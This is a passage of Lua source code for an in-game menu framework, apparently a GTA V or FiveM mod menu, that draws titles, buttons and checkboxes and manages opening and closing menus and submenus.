1801 Herooyyy.drawText(Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].subTitle, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset, y - Herooyyy.menuProps.buttonHeight / 2 + Herooyyy.menuProps.buttonTextYOffset, Herooyyy.menuProps.buttonFont, subTitleColor, Herooyyy.menuProps.buttonScale, false)
1802 --[[Herooyyy.drawText(Herooyyy.menuProps._mVersion, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.232, y - Herooyyy.menuProps.buttonHeight / 2 + Herooyyy.menuProps.buttonTextYOffset, Herooyyy.menuProps.buttonFont, subTitleColor, Herooyyy.menuProps.buttonScale, true)]]
1803
1804 if Herooyyy.menuProps.optionCount > Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount then
1805 Herooyyy.drawText(tostring(Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption)..' / '..tostring(Herooyyy.menuProps.optionCount), Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, y - Herooyyy.menuProps.buttonHeight / 2 + Herooyyy.menuProps.buttonTextYOffset, Herooyyy.menuProps.buttonFont, subTitleColor, Herooyyy.menuProps.buttonScale, false, false, true)
1806 end
1807 end
1808end
1809
1810function Herooyyy.drawButton(arrowsprite, text, subText, spriteData)
1811 local x = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width / 2
1812 local multiplier = nil
1813
1814 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption <= Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount and Herooyyy.menuProps.optionCount <= Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount then
1815 multiplier = Herooyyy.menuProps.optionCount
1816 elseif Herooyyy.menuProps.optionCount > Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption - Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount and Herooyyy.menuProps.optionCount <= Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption then
1817 multiplier = Herooyyy.menuProps.optionCount - (Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption - Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount)
1818 end
1819
1820 if multiplier then
1821 local y = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].y + Herooyyy.menuProps.titleHeight + Herooyyy.menuProps.buttonHeight + (Herooyyy.menuProps.buttonHeight * multiplier) - Herooyyy.menuProps.buttonHeight / 2
1822 local backgroundColor = nil
1823 local textColor = nil
1824 local subTextColor = nil
1825 local shadow = false
1826
1827 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount then
1828 backgroundColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuFocusBackgroundColor
1829 textColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuFocusTextColor
1830 subTextColor = {r = Herooyyy.mainColor.r, g = Herooyyy.mainColor.g, b = Herooyyy.mainColor.b, a = 255}
1831 else
1832 backgroundColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuBackgroundColor
1833 textColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuTextColor
1834 subTextColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuSubTextColor
1835 shadow = true
1836 end
1837
1838 Herooyyy.drawRect(x, y, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, Herooyyy.menuProps.buttonHeight, backgroundColor)
1839
1840 if spriteData then
1841 if not HasStreamedTextureDictLoaded(spriteData.dict) then Herooyyy.natives.requestStreamedTextureDict(spriteData.dict, true) end
1842 if Herooyyy.menuProps.menu_TextOutline then
1843 DrawSprite(spriteData.dict, spriteData.text, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.008, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0275, 0.0375, 0.0, 0, 0, 0, 255)
1844 end
1845 if Herooyyy.menuProps.selectedTheme ~= 'Classic' then
1846 DrawSprite(spriteData.dict, spriteData.text, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.008, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0255, 0.0355, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 155)
1847 end
1848 DrawSprite(spriteData.dict, spriteData.text, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.008, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0225, 0.0325, 0.0, spriteData.color.r, spriteData.color.g, spriteData.color.b, 255)
1849 Herooyyy.drawText(text, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.018, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset, Herooyyy.menuProps.buttonFont, textColor, Herooyyy.menuProps.buttonScale, false, shadow)
1850 else
1851 Herooyyy.drawText(text, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset, Herooyyy.menuProps.buttonFont, textColor, Herooyyy.menuProps.buttonScale, false, shadow)
1852 end
1853
1854 if subText then
1855 Herooyyy.drawText(subText, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset, y - Herooyyy.menuProps.buttonHeight / 2 + Herooyyy.menuProps.buttonTextYOffset, Herooyyy.menuProps.buttonFont, subTextColor, Herooyyy.menuProps.buttonScale, false, shadow, true)
1856 end
1857
1858 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount and arrowsprite then
1859 if not HasStreamedTextureDictLoaded('commonmenu') then Herooyyy.natives.requestStreamedTextureDict('commonmenu', true) end
1860 if Herooyyy.menuProps.menu_TextOutline then
1861 DrawSprite('commonmenu', 'arrowright', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.240, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0245, 0.0365, 0.0, 0, 0, 0, 255)
1862 end
1863 DrawSprite('commonmenu', 'arrowright', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.240, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0225, 0.0325, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 255)
1864 elseif arrowsprite then
1865 if not HasStreamedTextureDictLoaded('commonmenu') then Herooyyy.natives.requestStreamedTextureDict('commonmenu', true) end
1866 if Herooyyy.menuProps.menu_TextOutline then
1867 DrawSprite('commonmenu', 'arrowright', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.240, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0245, 0.0365, 0.0, 0, 0, 0, 255)
1868 end
1869 DrawSprite('commonmenu', 'arrowright', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.240, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0225, 0.0325, 0.0, 175, 175, 175, 155)
1870 end
1871
1872 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount and Herooyyy.menuProps.menu_RectOverlay then
1873 if not HasStreamedTextureDictLoaded('deadline') then Herooyyy.natives.requestStreamedTextureDict('deadline', true) end
1874 DrawSprite('deadline', 'deadline_trail_01', x, y, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, Herooyyy.menuProps.buttonHeight, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 55)
1875 end
1876 end
1877end
1878local be_aN = 1
1879function Herooyyy.drawCheckbox(text, state)
1880 local x = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width / 2
1881 local multiplier = nil
1882
1883 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption <= Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount and Herooyyy.menuProps.optionCount <= Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount then
1884 multiplier = Herooyyy.menuProps.optionCount
1885 elseif Herooyyy.menuProps.optionCount > Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption - Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount and Herooyyy.menuProps.optionCount <= Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption then
1886 multiplier = Herooyyy.menuProps.optionCount - (Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption - Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].maxOptionCount)
1887 end
1888
1889 if multiplier then
1890 local y = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].y + Herooyyy.menuProps.titleHeight + Herooyyy.menuProps.buttonHeight + (Herooyyy.menuProps.buttonHeight * multiplier) - Herooyyy.menuProps.buttonHeight / 2
1891 local backgroundColor = nil
1892 local textColor = nil
1893 local shadow = false
1894
1895 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount then
1896 backgroundColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuFocusBackgroundColor
1897 textColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuFocusTextColor
1898 else
1899 backgroundColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuBackgroundColor
1900 textColor = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].menuTextColor
1901 shadow = true
1902 end
1903
1904 Herooyyy.drawRect(x, y, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, Herooyyy.menuProps.buttonHeight, backgroundColor)
1905
1906 Herooyyy.drawText(text, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset, Herooyyy.menuProps.buttonFont, textColor, Herooyyy.menuProps.buttonScale, false, shadow)
1907
1908 if not HasStreamedTextureDictLoaded('helicopterhud') then Herooyyy.natives.requestStreamedTextureDict('helicopterhud', true) end
1909 if not HasStreamedTextureDictLoaded('commonmenu') then Herooyyy.natives.requestStreamedTextureDict('commonmenu', true) end
1910
1911 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount then
1912 if state then
1913 if Herooyyy.menuProps.selectedCheckboxStyle == 'New' then
1914 DrawSprite('helicopterhud', 'hud_outline', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.01375, 0.0225, 0.0325, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 255)
1915 DrawSprite('commonmenu', 'shop_tick_icon', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 255)
1916 elseif Herooyyy.menuProps.selectedCheckboxStyle == 'Old' then
1917 DrawSprite('commonmenu', 'shop_box_tick', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 255)
1918 end
1919 else
1920 if Herooyyy.menuProps.selectedCheckboxStyle == 'New' then
1921 DrawSprite('helicopterhud', 'hud_lock', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.01375, 0.0225, 0.0325, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 255)
1922 elseif Herooyyy.menuProps.selectedCheckboxStyle == 'Old' then
1923 DrawSprite('commonmenu', 'shop_box_blank', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 255)
1924 end
1925 end
1926 else
1927 if state then
1928 if Herooyyy.menuProps.selectedCheckboxStyle == 'New' then
1929 DrawSprite('helicopterhud', 'hud_outline', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.01375, 0.0225, 0.0325, 0.0, 155, 155, 155, 255)
1930 DrawSprite('commonmenu', 'shop_tick_icon', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, 155, 155, 155, 255)
1931 elseif Herooyyy.menuProps.selectedCheckboxStyle == 'Old' then
1932 DrawSprite('commonmenu', 'shop_box_tick', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, 155, 155, 155, 255)
1933 end
1934 else
1935 if Herooyyy.menuProps.selectedCheckboxStyle == 'New' then
1936 DrawSprite('helicopterhud', 'hud_lock', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.01375, 0.0225, 0.0325, 0.0, 155, 155, 155, 255)
1937 elseif Herooyyy.menuProps.selectedCheckboxStyle == 'Old' then
1938 DrawSprite('commonmenu', 'shop_box_blank', Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].x + Herooyyy.menuProps.buttonTextXOffset + 0.235, y - (Herooyyy.menuProps.buttonHeight / 2) + Herooyyy.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, 155, 155, 155, 255)
1939 end
1940 end
1941 end
1942
1943 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount and Herooyyy.menuProps.menu_RectOverlay then
1944 if not HasStreamedTextureDictLoaded('deadline') then Herooyyy.natives.requestStreamedTextureDict('deadline', true) end
1945 DrawSprite('deadline', 'deadline_trail_01', x, y, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].width, Herooyyy.menuProps.buttonHeight, 0.0, Herooyyy.mainColor.r, Herooyyy.mainColor.g, Herooyyy.mainColor.b, 55)
1946 end
1947 end
1948end
1949
1950function Herooyyy.createMenu(id, title)
1951 --[[Default settings]]
1952 table.insert(Herooyyy.menus_list, id)
1953 Herooyyy.menuProps.shitMenus[id] = {}
1954 Herooyyy.menuProps.shitMenus[id].title = title
1955 Herooyyy.menuProps.shitMenus[id].subTitle = 'by N~s~er~s~t~s~ig~s~el'
1956
1957 Herooyyy.menuProps.shitMenus[id].visible = false
1958
1959 Herooyyy.menuProps.shitMenus[id].previousMenu = nil
1960
1961 Herooyyy.menuProps.shitMenus[id].aboutToBeClosed = false
1962
1963 Herooyyy.menuProps.shitMenus[id].x = 0.0175
1964 Herooyyy.menuProps.shitMenus[id].y = 0.025
1965 Herooyyy.menuProps.shitMenus[id].width = 0.23
1966
1967 Herooyyy.menuProps.shitMenus[id].currentOption = 1
1968 Herooyyy.menuProps.shitMenus[id].maxOptionCount = Herooyyy.menuProps.maximumOptionCount
1969
1970 Herooyyy.menuProps.shitMenus[id].titleFont = 1
1971 Herooyyy.menuProps.shitMenus[id].titleColor = { r = 0, g = 0, b = 0, a = 255 }
1972 Herooyyy.menuProps.shitMenus[id].titleBackgroundColor = { r = 0, g = 0, b = 0, a = 255 }
1973 Herooyyy.menuProps.shitMenus[id].titleBackgroundSprite = nil
1974
1975 Herooyyy.menuProps.shitMenus[id].menuTextColor = { r = 150, g = 150, b = 150, a = 255 }
1976 Herooyyy.menuProps.shitMenus[id].menuSubTextColor = { r = 0, g = 0, b = 0, a = 255 }
1977 Herooyyy.menuProps.shitMenus[id].menuFocusTextColor = { r = 155, g = 155, b = 155, a = 255 }
1978 Herooyyy.menuProps.shitMenus[id].menuFocusBackgroundColor = { r = 0, g = 0, b = 0, a = 255 }
1979 Herooyyy.menuProps.shitMenus[id].menuBackgroundColor = { r = 55, g = 55, b = 55, a = 255 }
1980
1981 Herooyyy.menuProps.shitMenus[id].subTitleBackgroundColor = { r = 35, g = 35, b = 35, a = 255 }
1982 Herooyyy.menuProps.shitMenus[id].subTitleTextColor = { r = Herooyyy.mainColor.r, g = Herooyyy.mainColor.g, b = Herooyyy.mainColor.b, a = 255 }
1983
1984 Herooyyy.menuProps.shitMenus[id].buttonPressedSound = { name = 'SELECT', set = 'HUD_FRONTEND_DEFAULT_SOUNDSET' } --[[https://pastebin.com/0neZdsZ5]]
1985
1986 Herooyyy.debugPrint(tostring(id)..' menu created')
1987end
1988
1989function Herooyyy.createSubMenu(id, parent, subTitle)
1990 if Herooyyy.menuProps.shitMenus[parent] then
1991 Herooyyy.createMenu(id, Herooyyy.menuProps.shitMenus[parent].title)
1992
1993 if subTitle then
1994 Herooyyy.setMenuProperty(id, 'subTitle', subTitle)
1995 else
1996 Herooyyy.setMenuProperty(id, 'subTitle', Herooyyy.menuProps.shitMenus[parent].subTitle)
1997 end
1998
1999 Herooyyy.setMenuProperty(id, 'previousMenu', parent)
2000
2001 Herooyyy.setMenuProperty(id, 'x', Herooyyy.menuProps.shitMenus[parent].x)
2002 Herooyyy.setMenuProperty(id, 'y', Herooyyy.menuProps.shitMenus[parent].y)
2003 Herooyyy.setMenuProperty(id, 'maxOptionCount', Herooyyy.menuProps.shitMenus[parent].maxOptionCount)
2004 Herooyyy.setMenuProperty(id, 'titleFont', Herooyyy.menuProps.shitMenus[parent].titleFont)
2005 Herooyyy.setMenuProperty(id, 'titleColor', Herooyyy.menuProps.shitMenus[parent].titleColor)
2006 Herooyyy.setMenuProperty(id, 'titleBackgroundColor', Herooyyy.menuProps.shitMenus[parent].titleBackgroundColor)
2007 Herooyyy.setMenuProperty(id, 'titleBackgroundSprite', Herooyyy.menuProps.shitMenus[parent].titleBackgroundSprite)
2008 Herooyyy.setMenuProperty(id, 'menuTextColor', Herooyyy.menuProps.shitMenus[parent].menuTextColor)
2009 Herooyyy.setMenuProperty(id, 'menuSubTextColor', Herooyyy.menuProps.shitMenus[parent].menuSubTextColor)
2010 Herooyyy.setMenuProperty(id, 'menuFocusTextColor', Herooyyy.menuProps.shitMenus[parent].menuFocusTextColor)
2011 Herooyyy.setMenuProperty(id, 'menuFocusBackgroundColor', Herooyyy.menuProps.shitMenus[parent].menuFocusBackgroundColor)
2012 Herooyyy.setMenuProperty(id, 'menuBackgroundColor', Herooyyy.menuProps.shitMenus[parent].menuBackgroundColor)
2013 Herooyyy.setMenuProperty(id, 'subTitleBackgroundColor', Herooyyy.menuProps.shitMenus[parent].subTitleBackgroundColor)
2014 else
2015 Herooyyy.debugPrint('Failed to create '..tostring(id)..' submenu: '..tostring(parent)..' parent menu doesn\'t exist')
2016 end
2017end
2018
2019function Herooyyy.openMenu(id)
2020 if id and Herooyyy.menuProps.shitMenus[id] then
2021 Herooyyy.natives.playSoundFrontend(-1, 'SELECT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
2022 Herooyyy.setMenuVisible(id, true)
2023 Herooyyy.debugPrint(tostring(id)..' menu opened')
2024 else
2025 Herooyyy.debugPrint('Failed to open '..tostring(id)..' menu: it doesn\'t exist')
2026 end
2027end
2028
2029function Herooyyy.isMenuOpened(id)
2030 return Herooyyy.isMenuVisible(id)
2031end
2032
2033function Herooyyy.isAnyMenuOpened()
2034 for id, _ in pairs(Herooyyy.menuProps.shitMenus) do
2035 if Herooyyy.isMenuVisible(id) then return true end
2036 end
2037
2038 return false
2039end
2040
2041function Herooyyy.isMenuAboutToBeClosed()
2042 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu] then
2043 return Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].aboutToBeClosed
2044 else
2045 return false
2046 end
2047end
2048
2049function Herooyyy.closeMenu()
2050 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu] then
2051 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].aboutToBeClosed then
2052 Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].aboutToBeClosed = false
2053 Herooyyy.setMenuVisible(Herooyyy.menuProps.currentMenu, false)
2054 Herooyyy.debugPrint(tostring(Herooyyy.menuProps.currentMenu)..' menu closed')
2055 Herooyyy.natives.playSoundFrontend(-1, 'QUIT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
2056 Herooyyy.menuProps.optionCount = 0
2057 Herooyyy.menuProps.currentMenu = nil
2058 Herooyyy.menuProps.currentKey = nil
2059 else
2060 Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].aboutToBeClosed = true
2061 Herooyyy.debugPrint(tostring(Herooyyy.menuProps.currentMenu)..' menu about to be closed')
2062 end
2063 end
2064end
2065
2066function Herooyyy.button(text, subText, spriteData)
2067 local buttonText = text
2068 if subText then
2069 buttonText = '{ '..tostring(buttonText)..', '..tostring(subText)..' }'
2070 end
2071
2072 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu] then
2073 Herooyyy.menuProps.optionCount = Herooyyy.menuProps.optionCount + 1
2074
2075 local isCurrent = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount
2076 --[[local actualSubText = ''
2077 if subText == 'Native' then
2078 actualSubText = '~g~'..subText
2079 elseif subText == 'Client' or subText == 'ESX | Client' then
2080 actualSubText = '~y~'..subText
2081 elseif subText == 'Server' or subText == 'ESX | Server' then
2082 actualSubText = '~r~'..subText
2083 else
2084 actualSubText = subText
2085 end]]
2086 Herooyyy.drawButton(false, text, subText, spriteData)
2087
2088 if isCurrent then
2089 if Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.select then
2090 Herooyyy.natives.playSoundFrontend(-1, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].buttonPressedSound.name, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].buttonPressedSound.set, true)
2091 Herooyyy.debugPrint(buttonText..' button pressed')
2092 return true
2093 elseif Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.left or Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.right then
2094 Herooyyy.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
2095 end
2096 end
2097
2098 return false
2099 else
2100 Herooyyy.debugPrint('Failed to create '..buttonText..' button: '..tostring(Herooyyy.menuProps.currentMenu)..' menu doesn\'t exist')
2101
2102 return false
2103 end
2104end
2105
2106function Herooyyy.checkboxButton(text, state)
2107 local buttonText = text
2108
2109 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu] then
2110 Herooyyy.menuProps.optionCount = Herooyyy.menuProps.optionCount + 1
2111
2112 local isCurrent = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount
2113
2114 Herooyyy.drawCheckbox(text, state)
2115
2116 if isCurrent then
2117 if Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.select then
2118 Herooyyy.natives.playSoundFrontend(-1, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].buttonPressedSound.name, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].buttonPressedSound.set, true)
2119 Herooyyy.debugPrint(buttonText..' button pressed')
2120 return true
2121 elseif Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.left or Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.right then
2122 Herooyyy.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
2123 end
2124 end
2125
2126 return false
2127 else
2128 Herooyyy.debugPrint('Failed to create '..buttonText..' button: '..tostring(Herooyyy.menuProps.currentMenu)..' menu doesn\'t exist')
2129
2130 return false
2131 end
2132end
2133
2134function Herooyyy.button2(text, subText, spriteData)
2135 local buttonText = text
2136 if subText then
2137 buttonText = '{ '..tostring(buttonText)..', '..tostring(subText)..' }'
2138 end
2139
2140 if Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu] then
2141 Herooyyy.menuProps.optionCount = Herooyyy.menuProps.optionCount + 1
2142
2143 local isCurrent = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == Herooyyy.menuProps.optionCount
2144
2145 Herooyyy.drawButton(true, text, subText, spriteData)
2146
2147 if isCurrent then
2148 if Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.select then
2149 Herooyyy.natives.playSoundFrontend(-1, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].buttonPressedSound.name, Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].buttonPressedSound.set, true)
2150 Herooyyy.debugPrint(buttonText..' button pressed')
2151 return true
2152 elseif Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.left or Herooyyy.menuProps.currentKey == Herooyyy.menuProps.keys.right then
2153 Herooyyy.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
2154 end
2155 end
2156
2157 return false
2158 else
2159 Herooyyy.debugPrint('Failed to create '..buttonText..' button: '..tostring(Herooyyy.menuProps.currentMenu)..' menu doesn\'t exist')
2160
2161 return false
2162 end
2163end
2164
2165function Herooyyy.menuButton(text, id, subText, spriteData)
2166 if Herooyyy.menuProps.shitMenus[id] then
2167 if Herooyyy.button2(text, subText, spriteData) then
2168 Herooyyy.setMenuVisible(Herooyyy.menuProps.currentMenu, false)
2169 Herooyyy.setMenuVisible(id, true, true)
2170
2171 return true
2172 end
2173 else
2174 Herooyyy.debugPrint('Failed to create '..tostring(text)..' menu button: '..tostring(id)..' submenu doesn\'t exist')
2175 end
2176
2177 return false
2178end
2179
2180function Herooyyy.checkBox(text, checked, callback)
2181 --[[if Herooyyy.button(text, checked and '~g~Enabled' or '~r~Disabled') then]]
2182 if Herooyyy.checkboxButton(text, checked) then
2183 checked = not checked
2184 Herooyyy.debugPrint(tostring(text)..' checkbox changed to '..tostring(checked))
2185 if callback then callback(checked) end
2186
2187 return true
2188 end
2189
2190 return false
2191end
2192
2193function Herooyyy.comboBox(text, items, currentIndex, selectedIndex, callback)
2194 local itemsCount = #items
2195 local selectedItem = items[currentIndex]
2196 local isCurrent = Herooyyy.menuProps.shitMenus[Herooyyy.menuProps.currentMenu].currentOption == (Herooyyy.menuProps.optionCount + 1)
2197
2198 if itemsCount > 1 and isCurrent then
2199 selectedItem = '« '..tostring(selectedItem)..' »'
2200 end
2201
2202 if Herooyyy.button(text, selectedItem) then
2203 selectedIndex = currentIndex
